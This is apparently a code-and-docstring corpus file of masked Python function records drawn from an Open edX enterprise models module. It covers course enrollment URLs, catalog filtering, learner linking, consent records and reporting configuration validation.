{"signature": "def get_course_enrollment_url(self, course_key):", "body": "url = urljoin(<EOL>get_configuration_value('<STR_LIT>', settings.LMS_ROOT_URL),<EOL>reverse(<EOL>'<STR_LIT>',<EOL>kwargs={'<STR_LIT>': self.uuid, '<STR_LIT>': course_key}<EOL>)<EOL>)<EOL>return utils.update_query_parameters(url, utils.get_enterprise_utm_context(self))<EOL>", "docstring": "Return enterprise landing page url for the given course.\n\nArguments:\n    course_key (str): The course key for the course to be displayed.\nReturns:\n    (str): Enterprise landing page url.", "id": "f16090:c2:m8"}
{"signature": "def get_course_run_enrollment_url(self, course_run_key):", "body": "url = urljoin(<EOL>get_configuration_value('<STR_LIT>', settings.LMS_ROOT_URL),<EOL>reverse(<EOL>'<STR_LIT>',<EOL>kwargs={'<STR_LIT>': self.uuid, '<STR_LIT>': course_run_key}<EOL>)<EOL>)<EOL>return utils.update_query_parameters(url, utils.get_enterprise_utm_context(self))<EOL>", "docstring": "Return enterprise landing page url for the given course.\n\nArguments:\n    course_run_key (str): The course run id for the course to be displayed.\nReturns:\n    (str): Enterprise landing page url.", "id": "f16090:c2:m9"}
{"signature": "def get_program_enrollment_url(self, program_uuid):", "body": "url = urljoin(<EOL>get_configuration_value('<STR_LIT>', settings.LMS_ROOT_URL),<EOL>reverse(<EOL>'<STR_LIT>',<EOL>kwargs={'<STR_LIT>': self.uuid, '<STR_LIT>': program_uuid}<EOL>)<EOL>)<EOL>return utils.update_query_parameters(url, utils.get_enterprise_utm_context(self))<EOL>", "docstring": "Return enterprise landing page url for the given program.\n\nArguments:\n    program_uuid (str): The program UUID.\nReturns:\n    (str): Enterprise program landing page url.", "id": "f16090:c2:m10"}
{"signature": "def catalog_contains_course(self, course_run_id):", "body": "if self.catalog:<EOL><INDENT>client = CourseCatalogApiServiceClient(self.site)<EOL>if client.is_course_in_catalog(self.catalog, course_run_id):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>for catalog in self.enterprise_customer_catalogs.all():<EOL><INDENT>if catalog.contains_courses([course_run_id]):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Determine if the specified course run is contained in at least one of the enterprise's catalogs.\n\nArguments:\n    course_run_id (str): The string ID of the course or course run in question\n\nReturns:\n    bool: Whether the enterprise catalog includes the given course run.", "id": "f16090:c2:m11"}
{"signature": "def enroll_user_pending_registration(self, email, course_mode, *course_ids, **kwargs):", "body": "pending_ecu, __ = PendingEnterpriseCustomerUser.objects.get_or_create(<EOL>enterprise_customer=self,<EOL>user_email=email<EOL>)<EOL>for course_id in course_ids:<EOL><INDENT>PendingEnrollment.objects.update_or_create(<EOL>user=pending_ecu,<EOL>course_id=course_id,<EOL>defaults={<EOL>'<STR_LIT>': course_mode,<EOL>'<STR_LIT>': kwargs.get('<STR_LIT>', None)<EOL>}<EOL>)<EOL><DEDENT>return pending_ecu<EOL>", "docstring": "Create pending enrollments for the user in any number of courses, which will take effect on registration.\n\nArgs:\n    email: The email address for the pending link to be created\n    course_mode: The mode with which the eventual enrollment should be created\n    *course_ids: An iterable containing any number of course IDs to eventually enroll the user in.\n    cohort (optional): name of cohort to assign\nReturns:\n    The PendingEnterpriseCustomerUser attached to the email address", "id": "f16090:c2:m12"}
{"signature": "def clear_pending_registration(self, email, *course_ids):", "body": "try:<EOL><INDENT>pending_ecu = PendingEnterpriseCustomerUser.objects.get(user_email=email, enterprise_customer=self)<EOL><DEDENT>except PendingEnterpriseCustomerUser.DoesNotExist:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>PendingEnrollment.objects.filter(user=pending_ecu, course_id__in=course_ids).delete()<EOL><DEDENT>", "docstring": "Clear pending enrollments for the user in the given courses.\n\nArgs:\n    email: The email address which may have previously been used.\n    course_ids: An iterable containing any number of course IDs.", "id": "f16090:c2:m13"}
{"signature": "def notify_enrolled_learners(self, catalog_api_user, course_id, users):", "body": "course_details = CourseCatalogApiClient(catalog_api_user, self.site).get_course_run(course_id)<EOL>if not course_details:<EOL><INDENT>LOGGER.warning(<EOL>ugettext(\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(course_id)<EOL>)<EOL>return<EOL><DEDENT>course_path = urlquote(<EOL>'<STR_LIT>'.format(<EOL>course_id=course_id,<EOL>tpa_hint=self.identity_provider,<EOL>)<EOL>)<EOL>lms_root_url = utils.get_configuration_value_for_site(<EOL>self.site,<EOL>'<STR_LIT>',<EOL>settings.LMS_ROOT_URL<EOL>)<EOL>destination_url = '<STR_LIT>'.format(<EOL>site=lms_root_url,<EOL>login_or_register='<STR_LIT>',  <EOL>course_path=course_path<EOL>)<EOL>course_name = course_details.get('<STR_LIT:title>')<EOL>try:<EOL><INDENT>course_start = parse_lms_api_datetime(course_details.get('<STR_LIT:start>'))<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>course_start = None<EOL>LOGGER.exception(<EOL>'<STR_LIT>'.format(<EOL>course_details=course_details,<EOL>)<EOL>)<EOL><DEDENT>with mail.get_connection() as email_conn:<EOL><INDENT>for user in users:<EOL><INDENT>login_or_register = '<STR_LIT>' if isinstance(user, PendingEnterpriseCustomerUser) else '<STR_LIT>'<EOL>destination_url = destination_url.format(login_or_register=login_or_register)<EOL>utils.send_email_notification_message(<EOL>user=user,<EOL>enrolled_in={<EOL>'<STR_LIT:name>': course_name,<EOL>'<STR_LIT:url>': destination_url,<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>'<STR_LIT:start>': course_start,<EOL>},<EOL>enterprise_customer=self,<EOL>email_connection=email_conn<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Notify learners about a course in which they've been enrolled.\n\nArgs:\n    catalog_api_user: The user for calling the Catalog API\n    course_id: The specific course the learners were enrolled in\n    users: An iterable of the users or pending users who were enrolled", "id": "f16090:c2:m14"}
{"signature": "def get_link_by_email(self, user_email):", "body": "try:<EOL><INDENT>user = User.objects.get(email=user_email)<EOL>try:<EOL><INDENT>return self.get(user_id=user.id)<EOL><DEDENT>except EnterpriseCustomerUser.DoesNotExist:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>except User.DoesNotExist:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return PendingEnterpriseCustomerUser.objects.get(user_email=user_email)<EOL><DEDENT>except PendingEnterpriseCustomerUser.DoesNotExist:<EOL><INDENT>pass<EOL><DEDENT>return None<EOL>", "docstring": "Return link by email.", "id": "f16090:c3:m0"}
{"signature": "def link_user(self, enterprise_customer, user_email):", "body": "try:<EOL><INDENT>existing_user = User.objects.get(email=user_email)<EOL>self.get_or_create(enterprise_customer=enterprise_customer, user_id=existing_user.id)<EOL><DEDENT>except User.DoesNotExist:<EOL><INDENT>PendingEnterpriseCustomerUser.objects.get_or_create(enterprise_customer=enterprise_customer,<EOL>user_email=user_email)<EOL><DEDENT>", "docstring": "Link user email to Enterprise Customer.\n\nIf :class:`django.contrib.auth.models.User` instance with specified email does not exist,\n:class:`.PendingEnterpriseCustomerUser` instance is created instead.", "id": "f16090:c3:m1"}
{"signature": "def unlink_user(self, enterprise_customer, user_email):", "body": "try:<EOL><INDENT>existing_user = User.objects.get(email=user_email)<EOL>link_record = self.get(enterprise_customer=enterprise_customer, user_id=existing_user.id)<EOL>link_record.delete()<EOL>if update_user:<EOL><INDENT>update_user.delay(<EOL>sailthru_vars={<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': None,<EOL>},<EOL>email=user_email<EOL>)<EOL><DEDENT><DEDENT>except User.DoesNotExist:<EOL><INDENT>pending_link = PendingEnterpriseCustomerUser.objects.get(<EOL>enterprise_customer=enterprise_customer, user_email=user_email<EOL>)<EOL>pending_link.delete()<EOL><DEDENT>LOGGER.info(<EOL>'<STR_LIT>',<EOL>user_email,<EOL>enterprise_customer.name<EOL>)<EOL>", "docstring": "Unlink user email from Enterprise Customer.\n\nIf :class:`django.contrib.auth.models.User` instance with specified email does not exist,\n:class:`.PendingEnterpriseCustomerUser` instance is deleted instead.\n\nRaises EnterpriseCustomerUser.DoesNotExist if instance of :class:`django.contrib.auth.models.User` with\nspecified email exists and corresponding :class:`.EnterpriseCustomerUser` instance does not.\n\nRaises PendingEnterpriseCustomerUser.DoesNotExist exception if instance of\n:class:`django.contrib.auth.models.User` with specified email exists and corresponding\n:class:`.PendingEnterpriseCustomerUser` instance does not.", "id": "f16090:c3:m2"}
{"signature": "@property<EOL><INDENT>def user(self):<DEDENT>", "body": "try:<EOL><INDENT>return User.objects.get(pk=self.user_id)<EOL><DEDENT>except User.DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return User associated with this instance.\n\nReturn :class:`django.contrib.auth.models.User` instance associated with this\n:class:`EnterpriseCustomerUser` instance via email.", "id": "f16090:c4:m0"}
{"signature": "@property<EOL><INDENT>def user_email(self):<DEDENT>", "body": "if self.user is not None:<EOL><INDENT>return self.user.email<EOL><DEDENT>return None<EOL>", "docstring": "Return linked user email.", "id": "f16090:c4:m1"}
{"signature": "@property<EOL><INDENT>def username(self):<DEDENT>", "body": "if self.user is not None:<EOL><INDENT>return self.user.username<EOL><DEDENT>return None<EOL>", "docstring": "Return linked user's username.", "id": "f16090:c4:m2"}
{"signature": "@property<EOL><INDENT>def entitlements(self):<DEDENT>", "body": "<EOL>DataSharingConsent = apps.get_model('<STR_LIT>', '<STR_LIT>')  <EOL>learner_consent_enabled = DataSharingConsent.objects.filter(<EOL>enterprise_customer=self.enterprise_customer,<EOL>username=self.username,<EOL>granted=True,<EOL>).exists()<EOL>entitlements = self.enterprise_customer.enterprise_customer_entitlements<EOL>if self.enterprise_customer.enforces_data_sharing_consent(EnterpriseCustomer.AT_ENROLLMENT):<EOL><INDENT>return [<EOL>{<EOL>\"<STR_LIT>\": entitlement.entitlement_id,<EOL>\"<STR_LIT>\": not learner_consent_enabled,<EOL>} for entitlement in entitlements.all()<EOL>]<EOL><DEDENT>return [<EOL>{<EOL>\"<STR_LIT>\": entitlement.entitlement_id,<EOL>\"<STR_LIT>\": False,<EOL>} for entitlement in entitlements.all()<EOL>]<EOL>", "docstring": "Return entitlement ids available to the learner along-with consent data.\n\nReturns an empty list if enterprise customer requires data sharing consent and learner does not agree.\n\nReturns:\n    (list): A list of entitlements that learner can avail. Each item in the list is a dict with two\n        key-value pairs,\n        {\n            \"requires_consent\": True ,\n            \"entitlement_id\": 1\n        }\n        \"requires_consent\": True if learner must consent to data\n            sharing in order to get benefits of entitlement.\n        \"entitlement_id: id of the entitlements available to the learner.", "id": "f16090:c4:m3"}
{"signature": "@property<EOL><INDENT>def data_sharing_consent_records(self):<DEDENT>", "body": "DataSharingConsent = apps.get_model('<STR_LIT>', '<STR_LIT>')  <EOL>return DataSharingConsent.objects.filter(<EOL>enterprise_customer=self.enterprise_customer,<EOL>username=self.username<EOL>)<EOL>", "docstring": "Return the DataSharingConsent records associated with this EnterpriseCustomerUser.\n\nReturns:\n    QuerySet (DataSharingConsent): The filtered DataSharingConsent QuerySet.", "id": "f16090:c4:m4"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(<EOL>ID=self.id,<EOL>enterprise_name=self.enterprise_customer.name,<EOL>user_id=self.user_id,<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c4:m5"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c4:m6"}
{"signature": "def get_remote_id(self):", "body": "user = self.user<EOL>identity_provider = self.enterprise_customer.identity_provider<EOL>if user and identity_provider:<EOL><INDENT>client = ThirdPartyAuthApiClient()<EOL>return client.get_remote_id(self.enterprise_customer.identity_provider, user.username)<EOL><DEDENT>return None<EOL>", "docstring": "Retrieve the SSO provider's identifier for this user from the LMS Third Party API.\n\nReturns None if:\n* the user doesn't exist, or\n* the associated EnterpriseCustomer has no identity_provider, or\n* the remote identity is not found.", "id": "f16090:c4:m7"}
{"signature": "def enroll(self, course_run_id, mode, cohort=None):", "body": "enrollment_api_client = EnrollmentApiClient()<EOL>course_enrollment = enrollment_api_client.get_course_enrollment(self.username, course_run_id) or {}<EOL>enrolled_in_course = course_enrollment and course_enrollment.get('<STR_LIT>', False)<EOL>audit_modes = getattr(settings, '<STR_LIT>', ['<STR_LIT>', '<STR_LIT>'])<EOL>paid_modes = ['<STR_LIT>', '<STR_LIT>']<EOL>is_upgrading = mode in paid_modes and course_enrollment.get('<STR_LIT>') in audit_modes<EOL>if not enrolled_in_course or is_upgrading:<EOL><INDENT>if cohort and not self.enterprise_customer.enable_autocohorting:<EOL><INDENT>raise CourseEnrollmentPermissionError(\"<STR_LIT>\")<EOL><DEDENT>enrollment_api_client.enroll_user_in_course(self.username, course_run_id, mode, cohort=cohort)<EOL>utils.track_event(self.user_id, '<STR_LIT>', {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:label>': course_run_id,<EOL>'<STR_LIT>': str(self.enterprise_customer.uuid),<EOL>'<STR_LIT>': self.enterprise_customer.name,<EOL>'<STR_LIT>': mode,<EOL>'<STR_LIT>': cohort,<EOL>'<STR_LIT>': is_upgrading,<EOL>})<EOL>EnterpriseCourseEnrollment.objects.get_or_create(<EOL>enterprise_customer_user=self,<EOL>course_id=course_run_id<EOL>)<EOL><DEDENT>elif enrolled_in_course and course_enrollment.get('<STR_LIT>') in paid_modes and mode in audit_modes:<EOL><INDENT>raise CourseEnrollmentDowngradeError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>course_run_id=course_run_id,<EOL>current_mode=course_enrollment.get('<STR_LIT>'),<EOL>given_mode=mode,<EOL>)<EOL>)<EOL><DEDENT>", "docstring": "Enroll a user into a course track, and register an enterprise course enrollment.", "id": "f16090:c4:m8"}
{"signature": "def unenroll(self, course_run_id):", "body": "enrollment_api_client = EnrollmentApiClient()<EOL>if enrollment_api_client.unenroll_user_from_course(self.username, course_run_id):<EOL><INDENT>EnterpriseCourseEnrollment.objects.filter(enterprise_customer_user=self, course_id=course_run_id).delete()<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Unenroll a user from a course track.", "id": "f16090:c4:m9"}
{"signature": "def update_session(self, request):", "body": "request.session['<STR_LIT>'] = self.enterprise_customer.serialized<EOL>", "docstring": "Update the session of a request for this learner.", "id": "f16090:c4:m10"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(<EOL>ID=self.id,<EOL>enterprise_name=self.enterprise_customer.name,<EOL>user_email=self.user_email,<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c5:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c5:m1"}
{"signature": "def __str__(self):", "body": "return '<STR_LIT>'.format(self.user.user_email, self.course_id)<EOL>", "docstring": "Create string representation of the enrollment.", "id": "f16090:c6:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return string representation of the enrollment.", "id": "f16090:c6:m1"}
{"signature": "def save(self, *args, **kwargs):  ", "body": "if self.pk is None:<EOL><INDENT>logo_image = self.logo<EOL>self.logo = None<EOL>super(EnterpriseCustomerBrandingConfiguration, self).save(*args, **kwargs)<EOL>self.logo = logo_image<EOL><DEDENT>super(EnterpriseCustomerBrandingConfiguration, self).save(*args, **kwargs)<EOL>", "docstring": "Save the enterprise customer branding config.", "id": "f16090:c7:m0"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(<EOL>ID=self.id,<EOL>enterprise_name=self.enterprise_customer.name,<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c7:m1"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c7:m2"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(<EOL>provider_id=self.provider_id,<EOL>enterprise_name=self.enterprise_customer.name,<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c8:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c8:m1"}
{"signature": "@property<EOL><INDENT>def provider_name(self):<DEDENT>", "body": "identity_provider = utils.get_identity_provider(self.provider_id)<EOL>return identity_provider and identity_provider.name<EOL>", "docstring": "Readable name for the identity provider.", "id": "f16090:c8:m2"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(<EOL>customer=self.enterprise_customer,<EOL>id=self.entitlement_id<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c9:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c9:m1"}
{"signature": "@property<EOL><INDENT>def audit_reporting_disabled(self):<DEDENT>", "body": "if not self.enterprise_customer_user.enterprise_customer.enables_audit_data_reporting:<EOL><INDENT>return self.is_audit_enrollment<EOL><DEDENT>return False<EOL>", "docstring": "Specify whether audit track data reporting is disabled for this enrollment.\n\n* If the enterprise customer associated with this enrollment enables audit track data reporting,\n  simply return False.\n* If the enterprise customer associated with this enrollment does not enable audit track data reporting,\n  return True if we are dealing with an audit enrollment, and False otherwise.\n\n:return: True if audit track data reporting is disabled, False otherwise.", "id": "f16090:c10:m0"}
{"signature": "@property<EOL><INDENT>def is_audit_enrollment(self):<DEDENT>", "body": "course_enrollment_api = EnrollmentApiClient()<EOL>course_enrollment = course_enrollment_api.get_course_enrollment(<EOL>self.enterprise_customer_user.username,<EOL>self.course_id<EOL>)<EOL>audit_modes = getattr(settings, '<STR_LIT>', ['<STR_LIT>', '<STR_LIT>'])<EOL>return course_enrollment and course_enrollment.get('<STR_LIT>') in audit_modes<EOL>", "docstring": "Specify whether the course enrollment associated with this ``EnterpriseCourseEnrollment`` is in audit mode.\n\n:return: Whether the course enrollment mode is of an audit type.", "id": "f16090:c10:m1"}
{"signature": "def __str__(self):", "body": "return '<STR_LIT>'.format(<EOL>self.enterprise_customer_user.user.username,<EOL>self.course_id<EOL>)<EOL>", "docstring": "Create string representation of the enrollment.", "id": "f16090:c10:m2"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return string representation of the enrollment.", "id": "f16090:c10:m3"}
{"signature": "def __str__(self):", "body": "return (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(<EOL>title=self.title,<EOL>uuid=self.uuid,<EOL>enterprise_customer_name=self.enterprise_customer.name<EOL>)<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c11:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c11:m1"}
{"signature": "@cached_property<EOL><INDENT>def content_filter_ids(self):<DEDENT>", "body": "return set(self.content_filter.get('<STR_LIT:key>', []) + self.content_filter.get('<STR_LIT>', []))<EOL>", "docstring": "Return the list of any content IDs specified in the catalog's content filter.", "id": "f16090:c11:m2"}
{"signature": "def get_paginated_content(self, query_parameters):", "body": "results = []<EOL>content_filter_query = self.content_filter.copy()<EOL>catalog_client = CourseCatalogApiServiceClient(self.enterprise_customer.site)<EOL>search_results = catalog_client.get_catalog_results(content_filter_query, query_parameters.dict())<EOL>for content in search_results['<STR_LIT>']:<EOL><INDENT>if content['<STR_LIT>'] == '<STR_LIT>' and content['<STR_LIT>']:<EOL><INDENT>results.append(content)<EOL><DEDENT>elif content['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>results.append(content)<EOL><DEDENT>elif content['<STR_LIT>'] == '<STR_LIT>' and content['<STR_LIT>']:<EOL><INDENT>results.append(content)<EOL><DEDENT><DEDENT>response = {<EOL>'<STR_LIT:count>': len(results),<EOL>'<STR_LIT>': search_results['<STR_LIT>'],<EOL>'<STR_LIT>': search_results['<STR_LIT>'],<EOL>'<STR_LIT>': results,<EOL>}<EOL>return response<EOL>", "docstring": "Return paginated discovery service search results.\n\nArguments:\n    query_parameters (dict): Additional query parameters to add to the search API call, e.g. page.\nReturns:\n    dict: The paginated discovery service search results.", "id": "f16090:c11:m3"}
{"signature": "def _filter_members(self, content_id_field_name, content_id_values):", "body": "updated_content_filter = self.content_filter.copy()<EOL>updated_content_filter[content_id_field_name] = content_id_values<EOL>response = CourseCatalogApiServiceClient().get_catalog_results(updated_content_filter, traverse_pagination=True)<EOL>results = response.get('<STR_LIT>', [])<EOL>return {x[content_id_field_name] for x in results}<EOL>", "docstring": "Filter the given list of content_id_values, returning only those that are members of the catalog.\n\nA content ID is the unique identifier for a content metadata entity, e.g. course, course run, program.\n\nArguments:\n    content_id_field_name (str): The name of the field on the catalog content item\n                                 that stores the item's unique identifier, e.g. \"key\", \"uuid\".\n    content_id_values (list): If provided, return only the content IDs that are members of this list\n                              and members of the catalog.\n\nReturns:\n    list: The list of content IDs that are members of the catalog.", "id": "f16090:c11:m4"}
{"signature": "def contains_courses(self, content_ids):", "body": "<EOL>course_keys = {parse_course_key(k) for k in content_ids}<EOL>content_ids_in_catalog = self.content_filter_ids<EOL>if not content_ids_in_catalog:<EOL><INDENT>content_ids_in_catalog = self._filter_members('<STR_LIT:key>', list(course_keys))<EOL><DEDENT>return set(content_ids).issubset(content_ids_in_catalog) or course_keys.issubset(content_ids_in_catalog)<EOL>", "docstring": "Return true if this catalog contains the given courses.\n\nThe content_ids parameter should be a list containing course keys\nand/or course run ids.", "id": "f16090:c11:m5"}
{"signature": "def contains_programs(self, program_uuids):", "body": "content_ids_in_catalog = self.content_filter_ids<EOL>if not content_ids_in_catalog:<EOL><INDENT>content_ids_in_catalog = self._filter_members('<STR_LIT>', program_uuids)<EOL><DEDENT>return set(program_uuids).issubset(content_ids_in_catalog)<EOL>", "docstring": "Return true if this catalog contains the given programs.", "id": "f16090:c11:m6"}
{"signature": "def get_course(self, course_key):", "body": "if not self.contains_courses([course_key]):<EOL><INDENT>return None<EOL><DEDENT>return CourseCatalogApiServiceClient(self.enterprise_customer.site).get_course_details(course_key)<EOL>", "docstring": "Get all of the metadata for the given course.\n\nArguments:\n    course_key (str): The course key which identifies the course.\n\nReturn:\n    dict: The course metadata.", "id": "f16090:c11:m7"}
{"signature": "def get_course_run(self, course_run_id):", "body": "if not self.contains_courses([course_run_id]):<EOL><INDENT>return None<EOL><DEDENT>return CourseCatalogApiServiceClient(self.enterprise_customer.site).get_course_run(course_run_id)<EOL>", "docstring": "Get all of the metadata for the given course run.\n\nArguments:\n    course_run_id (str): The course run key which identifies the course run.\n\nReturn:\n    dict: The course run metadata.", "id": "f16090:c11:m8"}
{"signature": "def get_course_and_course_run(self, course_run_id):", "body": "if not self.contains_courses([course_run_id]):<EOL><INDENT>return None, None<EOL><DEDENT>return CourseCatalogApiServiceClient(self.enterprise_customer.site).get_course_and_course_run(course_run_id)<EOL>", "docstring": "Get course data and all of the metadata for the given course run.\n\nArguments:\n    course_run_id (str): The course run key which identifies the course run.\n\nReturns:\n    tuple(course, course_run): The course and course run metadata.\n\nRaises:\n    ImproperlyConfigured: Missing or invalid catalog integration.", "id": "f16090:c11:m9"}
{"signature": "def get_program(self, program_uuid):", "body": "if not self.contains_programs([program_uuid]):<EOL><INDENT>return None<EOL><DEDENT>return CourseCatalogApiServiceClient(self.enterprise_customer.site).get_program_by_uuid(program_uuid)<EOL>", "docstring": "Get all of the metadata for the given program.\n\nArguments:\n    program_uuid (str): The program UUID which identifies the program.\n\nReturn:\n    dict: The program metadata.", "id": "f16090:c11:m10"}
{"signature": "def get_course_enrollment_url(self, course_key):", "body": "url = self.enterprise_customer.get_course_enrollment_url(course_key)<EOL>if self.publish_audit_enrollment_urls:<EOL><INDENT>url = utils.update_query_parameters(url, {'<STR_LIT>': '<STR_LIT:true>'})<EOL><DEDENT>return utils.update_query_parameters(url, {'<STR_LIT>': self.uuid})<EOL>", "docstring": "Return enterprise course enrollment page url with the catalog information for the given course.\n\nArguments:\n    course_key (str): The course key for the course to be displayed.\n\nReturns:\n    (str): Enterprise landing page url.", "id": "f16090:c11:m11"}
{"signature": "def get_course_run_enrollment_url(self, course_run_key):", "body": "url = self.enterprise_customer.get_course_run_enrollment_url(course_run_key)<EOL>if self.publish_audit_enrollment_urls:<EOL><INDENT>url = utils.update_query_parameters(url, {'<STR_LIT>': '<STR_LIT:true>'})<EOL><DEDENT>return utils.update_query_parameters(url, {'<STR_LIT>': self.uuid})<EOL>", "docstring": "Return enterprise course enrollment page url with the catalog information for the given course.\n\nArguments:\n    course_run_key (str): The course run id for the course to be displayed.\n\nReturns:\n    (str): Enterprise landing page url.", "id": "f16090:c11:m12"}
{"signature": "def get_program_enrollment_url(self, program_uuid):", "body": "url = self.enterprise_customer.get_program_enrollment_url(program_uuid)<EOL>if self.publish_audit_enrollment_urls:<EOL><INDENT>url = utils.update_query_parameters(url, {'<STR_LIT>': '<STR_LIT:true>'})<EOL><DEDENT>return utils.update_query_parameters(url, {'<STR_LIT>': self.uuid})<EOL>", "docstring": "Return enterprise program enrollment page url with the catalog information for the given program.\n\nArguments:\n    program_uuid (str): The program UUID.\n\nReturns:\n    (str): Enterprise program landing page url.", "id": "f16090:c11:m13"}
{"signature": "def render_html_template(self, kwargs):", "body": "return self.render_template(mark_safe(self.html_template), kwargs)<EOL>", "docstring": "Render just the HTML template and return it as a string.", "id": "f16090:c12:m0"}
{"signature": "def render_plaintext_template(self, kwargs):", "body": "return self.render_template(self.plaintext_template, kwargs)<EOL>", "docstring": "Render just the plaintext template and return it as a string.", "id": "f16090:c12:m1"}
{"signature": "def render_all_templates(self, kwargs):", "body": "return self.render_plaintext_template(kwargs), self.render_html_template(kwargs)<EOL>", "docstring": "Render both templates and return both.", "id": "f16090:c12:m2"}
{"signature": "def render_template(self, template_text, kwargs):", "body": "template = Template(template_text)<EOL>context = Context(kwargs)<EOL>return template.render(context)<EOL>", "docstring": "Create a template from the DB-backed text and render it.", "id": "f16090:c12:m3"}
{"signature": "def __str__(self):", "body": "return '<STR_LIT>'.format(<EOL>self.enterprise_customer.uuid<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c12:m4"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c12:m5"}
{"signature": "@property<EOL><INDENT>def encrypted_password(self):<DEDENT>", "body": "if self.decrypted_password:<EOL><INDENT>return force_text(<EOL>self._meta.get_field('<STR_LIT>').fernet.encrypt(<EOL>force_bytes(self.decrypted_password)<EOL>)<EOL>)<EOL><DEDENT>return self.decrypted_password<EOL>", "docstring": "Return encrypted password as a string.", "id": "f16090:c13:m0"}
{"signature": "@property<EOL><INDENT>def encrypted_sftp_password(self):<DEDENT>", "body": "if self.decrypted_sftp_password:<EOL><INDENT>return force_text(<EOL>self._meta.get_field('<STR_LIT>').fernet.encrypt(<EOL>force_bytes(self.decrypted_sftp_password)<EOL>)<EOL>)<EOL><DEDENT>return self.decrypted_sftp_password<EOL>", "docstring": "Return encrypted SFTP password as a string.", "id": "f16090:c13:m1"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(<EOL>enterprise_name=self.enterprise_customer.name<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c13:m2"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c13:m3"}
{"signature": "def clean(self):", "body": "validation_errors = {}<EOL>if self.frequency == self.FREQUENCY_TYPE_DAILY:<EOL><INDENT>self.day_of_month = None<EOL>self.day_of_week = None<EOL><DEDENT>elif self.frequency == self.FREQUENCY_TYPE_WEEKLY:<EOL><INDENT>if self.day_of_week is None or self.day_of_week == '<STR_LIT>':<EOL><INDENT>validation_errors['<STR_LIT>'] = _('<STR_LIT>')<EOL><DEDENT>self.day_of_month = None<EOL><DEDENT>elif self.frequency == self.FREQUENCY_TYPE_MONTHLY:<EOL><INDENT>if not self.day_of_month:<EOL><INDENT>validation_errors['<STR_LIT>'] = _('<STR_LIT>')<EOL><DEDENT>self.day_of_week = None<EOL><DEDENT>else:<EOL><INDENT>validation_errors[NON_FIELD_ERRORS] = _('<STR_LIT>')<EOL><DEDENT>if self.delivery_method == self.DELIVERY_METHOD_EMAIL:<EOL><INDENT>if not self.email:<EOL><INDENT>validation_errors['<STR_LIT:email>'] = _(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>if not self.decrypted_password:<EOL><INDENT>validation_errors['<STR_LIT>'] = _(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT>elif self.delivery_method == self.DELIVERY_METHOD_SFTP:<EOL><INDENT>if not self.sftp_hostname:<EOL><INDENT>validation_errors['<STR_LIT>'] = _('<STR_LIT>')<EOL><DEDENT>if not self.sftp_username:<EOL><INDENT>validation_errors['<STR_LIT>'] = _('<STR_LIT>')<EOL><DEDENT>if not self.sftp_file_path:<EOL><INDENT>validation_errors['<STR_LIT>'] = _('<STR_LIT>')<EOL><DEDENT>if not self.decrypted_sftp_password:<EOL><INDENT>validation_errors['<STR_LIT>'] = _(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT>if validation_errors:<EOL><INDENT>raise ValidationError(validation_errors)<EOL><DEDENT>", "docstring": "Override of clean method to perform additional validation on frequency and day_of_month/day_of week.", "id": "f16090:c13:m4"}
